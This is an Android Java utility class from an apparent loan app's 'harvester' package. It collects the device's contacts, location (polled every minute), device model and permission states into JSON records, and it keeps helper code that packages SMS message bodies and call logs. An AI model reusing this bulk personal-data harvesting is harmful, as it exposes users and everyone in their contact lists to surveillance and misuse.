package com.flashcash.solu.harvester.store;

import android.content.Context;
import android.content.pm.PackageManager;
import android.location.Location;
import android.text.TextUtils;
import android.util.Log;
import android.util.Pair;

import com.annimon.stream.Stream;
import com.flashcash.solu.harvester.ServerTimeUtils;
import com.flashcash.solu.harvester.collectin.Collector;
import com.flashcash.solu.harvester.collectin.entity.CallLogEntity;
import com.flashcash.solu.harvester.collectin.entity.ContactEntity;
import com.flashcash.solu.harvester.collectin.entity.SmsEntity;
import com.flashcash.solu.harvester.def.InfoType;
import com.flashcash.solu.harvester.def.ProtocolVersion;
import com.flashcash.solu.harvester.uploadout.UploadUtils;

import org.jetbrains.annotations.NotNull;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import org.litepal.LitePal;

import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.concurrent.TimeUnit;

import rx.Subscriber;

public class StoreUtils {

    public static List<CollectInInfoEntity> getAllSync(Context context) {

        List<CollectInInfoEntity> infos1 = Stream.of(InfoType.MACHINE_TYPE, InfoType.PERMISSION)
                .map(t -> StoreUtils.getStoreEntity(t, context, null))
                .reduce(new ArrayList<CollectInInfoEntity>(), (arr, item)->{
                    arr.add(item);
                    return arr;
                });

        List<ContactEntity> contactEntityList = Collector.getContacts();
        List<CollectInInfoEntity> infos2 = Stream.of(InfoType.CONTACT/*,  InfoType.CALL_LOG,InfoType.SMS_LOG*/)
                .map(t -> StoreUtils.getStoreEntity(t, context, contactEntityList))
                .reduce(new ArrayList<CollectInInfoEntity>(), (arr, item)->{
                    arr.add(item);
                    return arr;
                });

        infos1.addAll(infos2);

        CollectInInfoEntity location = StoreUtils.getStoreEntity(InfoType.LOCATION, context, null);
        if(location == null){
            location = LitePal.where("type='LOCATION'").findFirst(CollectInInfoEntity.class);
        }

        if(location != null){
            infos1.add(location);
        }

        return infos1;

//        rx.Observable.just(InfoType.MACHINE_TYPE, InfoType.PERMISSION)
//                .map(t -> StoreUtils.getStoreEntity(t, context, null))
//                .subscribe(new Subscriber<CollectInInfoEntity>() {
//                    @Override
//                    public void onCompleted() {}
//                    @Override
//                    public void onError(Throwable e) {Log.e("caculate_time", e.toString());}
//                    @Override
//                    public void onNext(CollectInInfoEntity t) {
//                        if (t != null) {
//                            t.saveOrUpdate("type=?", t.getType());
////                                Log.d("caculate_time", "type "+t.getType()+" time"+(System.currentTimeMillis() - startTime));
//                        }
//                    }
//                });

//        List<ContactEntity> contactEntityList = Collector.getContacts();
//
//        rx.Observable.just(InfoType.CONTACT,  InfoType.CALL_LOG, InfoType.SMS_LOG)
////                .observeOn(Schedulers.io())
////                .map(t -> Pair.create(t, Collector.permissionGranted(InfoType.toPermission(t), context)))
////                .filter(t -> t.second)
//                .map(t -> StoreUtils.getStoreEntity(t, context, contactEntityList))
//                .subscribe(new Subscriber<CollectInInfoEntity>() {
//                    @Override
//                    public void onCompleted() {}
//                    @Override
//                    public void onError(Throwable e) {
//                        e.printStackTrace();
//                        Log.e("caculate_time", e.toString());
//                    }
//                    @Override
//                    public void onNext(CollectInInfoEntity t) {
//                            if (t != null) {
//                                t.saveOrUpdate("type=?", t.getType());
////                                Log.d("caculate_time", "type "+t.getType()+" time"+(System.currentTimeMillis() - startTime));
//                            }
//                    }
//                });

//        Log.d("sync_collect", "total time"+(System.currentTimeMillis() - startTime));
    }

    /**
     * location有可能没有，需要搜集多次才可能搜集到
     * */
    public static void collectAndSaveLocation(Context context){

        rx.Observable.interval(1, TimeUnit.MINUTES)
                .startWith(0L)
                .flatMap(t-> rx.Observable.just(InfoType.LOCATION))
                .map(t -> {
                    Pair<InfoType, Boolean> pair = Pair.create(t, Collector.permissionGranted(InfoType.toPermission(t), context));

                    return pair;
                })
                .filter(t -> t.second)
                .map(t -> StoreUtils.getStoreEntity(t.first, context, null))
                .subscribe(new Subscriber<CollectInInfoEntity>() {
                    @Override
                    public void onCompleted() {}
                    @Override
                    public void onError(Throwable e) {}
                    @Override
                    public void onNext(CollectInInfoEntity t) {
                        if (t != null) {
                            t.saveOrUpdate("type=?", t.getType());
                        }
                    }
                });
    }
    /**
     * CollectInInfoEntity is not POJO, so cannot init by
     * new CollectInInfoEntity(){{
     *
     * }}
     * */
    public static CollectInInfoEntity getStoreEntity(@NotNull InfoType type, Context context, List<ContactEntity> contactList){

        CollectInInfoEntity entity = new CollectInInfoEntity();

        entity.setType(type.name());
        entity.setUpdate_time(ServerTimeUtils.getServerTime());

        try{
            switch (type){
                case CONTACT:
                    entity.setBody(toContactDTO(contactList, context));
                    break;
//                case CALL_LOG:
//                    entity.setBody(toCallLogDTO(Collector.getCallLogs(5000), context, contactList));
//                    break;
//                case SMS_LOG:
//                    entity.setBody(toSmsDTO(Collector.getSms(3000), context, contactList));
//                    break;
                case LOCATION:
                    String locStr = toLocationDTO(context, Collector.getLocation());
                    if( locStr== null){
                        return null;
                    }
                    entity.setBody(locStr);
                    break;
                case MACHINE_TYPE:
                    entity.setBody(toMachineTypeDTO(context));
                    break;

                case PERMISSION:
                    entity.setBody(toPermissionTypeDTO(context));
                    break;
            }
        }catch (Exception e){
            UploadUtils.uploadException(e, "getStoreEntity");
            entity.setBody("");
        }

        return entity;
    }

    private static String toMachineTypeDTO(Context context){
        JSONObject json = initJSON(InfoType.MACHINE_TYPE, context);
        try {

            JSONArray array = new JSONArray();
            array.put( Collector.getMachineType());

            json.put("totalNumber", 1);
            json.put("latestTime", 0);
            json.put("earliestTime", 0);

            json.put("data", array);
        } catch (JSONException e) {
            e.printStackTrace();
        }
        return json.toString();
    }

    private static String toPermissionTypeDTO(Context context){
        JSONObject json = initJSON(InfoType.PERMISSION, context);
        try {
            JSONArray array = Collector.getPermissionState();
            json.put("totalNumber", array.length());
            json.put("data", array);
        } catch (JSONException e) {
            e.printStackTrace();
            UploadUtils.uploadException(e, "StoreUtils.toPermissionTypeDTO");
        }
        Log.d("permissionxxx",""+json.toString());
        return json.toString();
    }

    private static String toLocationDTO(Context context, Location loc){

        if(loc == null){
            return null;
        }

        try {
            JSONObject oneTypeData = initJSON(InfoType.LOCATION, context);
            oneTypeData.put("totalNumber", 1);
            oneTypeData.put("earliestTime", 0);
            oneTypeData.put("latestTime", ServerTimeUtils.getServerTime());

            JSONArray array = new JSONArray();
            {
                JSONObject item = new JSONObject();
                item.put("altitude", loc.getAltitude());
                item.put("latitude", loc.getLatitude());
                item.put("longitude", loc.getLongitude());
                item.put("createTime", ServerTimeUtils.getServerTime());
                array.put(item);
            }
            oneTypeData.put("data", array);

            return oneTypeData.toString();
        } catch (JSONException e) {
            e.printStackTrace();
            UploadUtils.uploadException(e, "StoreUtils.toLocationDTO");
        }
        return null;
    }

    public static JSONObject initJSON(InfoType type, Context context){
        try {

            JSONObject json = new JSONObject();
            json.put("protocolVersion", ProtocolVersion.V_1_0.name());
            json.put("versionName", context.getPackageManager().getPackageInfo(context.getPackageName(), 0).versionName);
            json.put("protocolName", type.name());
//            json.put("clientUpdateTime", System.currentTimeMillis());

            return json;

        } catch (JSONException e) {
            e.printStackTrace();
        } catch (PackageManager.NameNotFoundException e) {
            e.printStackTrace();
        }

        return new JSONObject();
    }

    public static String toContactDTO(List<ContactEntity> contactList, Context context){
        try {
            JSONObject oneTypeData = initJSON(InfoType.CONTACT, context);

            oneTypeData.put("data", getContactJSONArray(contactList));

            oneTypeData.put("totalNumber", contactList.size());

            if(contactList.size()>0){
                long latest = 0;
                long earliest = 0;

                try{
                    latest = Stream.of(contactList)
                            .map(ContactEntity::getLast_contact_time)
                            .max((o1, o2) -> (int)(o1-o2)).get();

                    earliest = Stream.of(contactList)
                            .map(ContactEntity::getLast_contact_time)
                            .min((o1, o2) -> (int)(o1-o2)).get();
                } catch (Exception e){
                    e.printStackTrace();
                }

                oneTypeData.put("latestTime", latest);

                oneTypeData.put("earliestTime", ""+earliest);

            }

            return oneTypeData.toString();

        } catch (JSONException e) {
            e.printStackTrace();

            UploadUtils.uploadException(e, "StoreUtils.toContactDTO");
        }
        return "";
    }

//    public static String toSmsDTO(List<SmsEntity> smsList, Context context, List<ContactEntity> contactList){
//        try {
//            JSONObject oneTypeData = initJSON(InfoType.SMS_LOG, context);
//
//            oneTypeData.put("data", getSmsJSONArray(smsList, contactList));
////            oneTypeData.put("totalNumber", smsList.size());
//
//            oneTypeData.put("pageSum", 1);
//            oneTypeData.put("pageNo", 0);
//            oneTypeData.put("currentSum", smsList.size());
//            oneTypeData.put("updateTime", ServerTimeUtils.getServerTime());
////            if(smsList.size() > 0){
////                oneTypeData.put("latestTime", Stream.of(smsList).map(SmsEntity::getDate)
////                        .max((o1, o2) -> (int)(o1-o2)).get());
////                oneTypeData.put("earliestTime", Stream.of(smsList).map(SmsEntity::getDate)
////                        .min((o1, o2) -> (int)(o1-o2)).get());
////            }
//
//            return oneTypeData.toString();
//
//        } catch (JSONException e) {
//            e.printStackTrace();
//            //UploadUtils.uploadException(e, "StoreUtils.toSmsDTO");
//        }
//        return "";
//    }

    private static JSONArray getSmsJSONArray(List<SmsEntity> smsList, List<ContactEntity> contactList){
        if(smsList == null || smsList.size() ==0){
            return new JSONArray();
        }

        HashMap<String, String> map = toNumberNameMap(contactList);

        return Stream.of(smsList)
                .map(entity ->{
                    JSONObject smsObj = new JSONObject();
                    try {
                        if(TextUtils.isEmpty(entity.getAddress())){
                            smsObj.put("name", "");
                        }else{
                            smsObj.put("name", geNameFromNumberNameMap(map, entity.getAddress()));
                        }

                        smsObj.put("number", entity.getAddress()==null?"":entity.getAddress());
                        smsObj.put("subject", entity.getSubject()==null?"NO_SUBJECT":entity.getSubject());
                        smsObj.put("direction", SmsEntity.getSmsTypeDesc(entity.getType()));
                        smsObj.put("createTime", entity.getDate());

                        if(TextUtils.isEmpty(entity.getBody())){
                            smsObj.put("content", "");
                        }else{
                            smsObj.put("content", entity.getBody().replaceAll("\u0000",""));
                        }

                    } catch (JSONException e) {
                        e.printStackTrace();
                    }
                    return smsObj;
                })
                .reduce(new JSONArray(), (array, smsObj) -> {
                    array.put(smsObj);
                    return array;
                });
    }

//    public static String toCallLogDTO(List<CallLogEntity> calllogList, Context context, List<ContactEntity> contactList){
//        try {
//
//            JSONObject oneTypeData = initJSON(InfoType.CALL_LOG, context);
//
//            oneTypeData.put("data", getCallLogJSONArray(calllogList, contactList));
//
//            oneTypeData.put("totalNumber", calllogList.size());
//
//            if(calllogList.size() > 0){
//
//                long latest = 0;
//                long earliest = 0;
//                try{
//                    latest = Stream.of(calllogList)
//                            .map(CallLogEntity::getDate)
//                            .max((o1, o2) -> (int)(o1-o2)).get();
//
//                    earliest = Stream.of(calllogList)
//                            .map(CallLogEntity::getDate)
//                            .min((o1, o2) -> (int)(o1-o2)).get();
//                } catch (Exception e){
//                    e.printStackTrace();
//                }
//
//                oneTypeData.put("latestTime", latest);
//
//                oneTypeData.put("earliestTime", ""+earliest);
//            }
//
//            return oneTypeData.toString();
//
//        } catch (JSONException e) {
//            e.printStackTrace();
//            UploadUtils.uploadException(e, "StoreUtils.toCallLogDTO");
//        }
//        return "";
//    }

    private static JSONArray getCallLogJSONArray(List<CallLogEntity> callLogList, List<ContactEntity> contactList){
        if(callLogList == null || callLogList.size() ==0){
            return new JSONArray();
        }

        HashMap<String, String> map = toNumberNameMap(contactList);

        return Stream.of(callLogList)
                .map(entity ->{
                    JSONObject callLog = new JSONObject();
                    try {
//                        callLog.put("cachedName", entity.getCachedName() == null? "" : entity.getCachedName() );
//                        callLog.put("name", entity.getCachedName());
                        String name = "";
                        //contact中没找到
                        if( TextUtils.isEmpty( geNameFromNumberNameMap( map, entity.getNumber() ) ) ){
                            name = entity.getCachedName();
                            if(name == null){
                                name = "";
                            }
                        }

                        callLog.put("name", name);
                        callLog.put("number", entity.getNumber()==null?"":entity.getNumber());
                        callLog.put("createTime", ""+entity.getDate());
                        callLog.put("duration", ""+entity.getDuration());
                        callLog.put("direction", CallLogEntity.getCallLogTypeDesc(entity.getType()));

                    } catch (JSONException e) {
                        e.printStackTrace();

                        UploadUtils.uploadException(e, "StoreUtils.getCallLogJSONArray");
                    }
                    return callLog;
                })
                .reduce(new JSONArray(), (array, jsonObject) -> {
                    array.put(jsonObject);
                    return array;
                });
    }


    private static JSONArray getContactJSONArray(List<ContactEntity> contactList){
        if(contactList == null || contactList.size() == 0){
            return new JSONArray();
        }

        return Stream.of(contactList)
                .map(contact->{
                    JSONObject json = new JSONObject();
                    try {
                        json.put("name", contact.getName()==null?"":contact.getName());
                        json.put("nickname", contact.getNickname()==null?"":contact.getNickname());
                        json.put("last_contact_time", ""+contact.getLast_contact_time());
                        json.put("contact_times", contact.getContact_times());
                        json.put("lastUpdate", ""+contact.getLastUpdate());
                        json.put("status", contact.getStatus()==null?"":contact.getStatus());
                        json.put("relation", contact.getRelation()==null?"":contact.getRelation());

                        JSONArray numberArr = new JSONArray();

                        if(contact.getNumber() != null && contact.getNumber().size() > 0){

                            numberArr =
                                Stream.of(contact.getNumber())
                                        .map(t->{
                                            JSONObject number = new JSONObject();
                                            try {
                                                number.put("number", t.getNumber()==null?"":t.getNumber());
                                                number.put("last_time_used", t.getLast_time_used());
                                                number.put("time_used", t.getTime_used());
                                                number.put("type_label", t.getType_label()==null?"":t.getType_label());
                                            } catch (JSONException e) {
                                                e.printStackTrace();
                                            }

                                            return number;
                                        })
                                        .reduce(new JSONArray(), (value1, value2) -> {
                                            value1.put(value2);
                                            return value1;
                                        });
                        }

                        json.put("number", numberArr);

                    } catch (JSONException e) {
                        e.printStackTrace();
                    }

                    return json;
                })
                .reduce(new JSONArray(), (jsonArray, json)->{
                    jsonArray.put(json);
                    return jsonArray;
                });
    }

    /***/
    private static HashMap<String, String> toNumberNameMap(List<ContactEntity> contactList){
        HashMap<String, String> numberNameMap = new HashMap<>();

        if(contactList == null || contactList.size() ==0 ){
            return numberNameMap;
        }

        for(int i = 0; i < contactList.size(); i++){
            ContactEntity entity = contactList.get(i);
            if(entity != null && entity.getNumber() != null
                    && !TextUtils.isEmpty(entity.getName())
                    &&  entity.getNumber().size() > 0){

                Stream.of(entity.getNumber())
                        .forEach(t->{
                            if(!TextUtils.isEmpty(t.getNumber())){
                                numberNameMap.put(t.getNumber(), entity.getName());
                            }
                        });
            }
        }

        return numberNameMap;
    }

    private static String geNameFromNumberNameMap(HashMap<String, String> map, String number){

        if(TextUtils.isEmpty(number)){
            return "";
        }

        String name = map.get(number);

        if(TextUtils.isEmpty(name)){
            return "";
        }

        return name;
    }

}
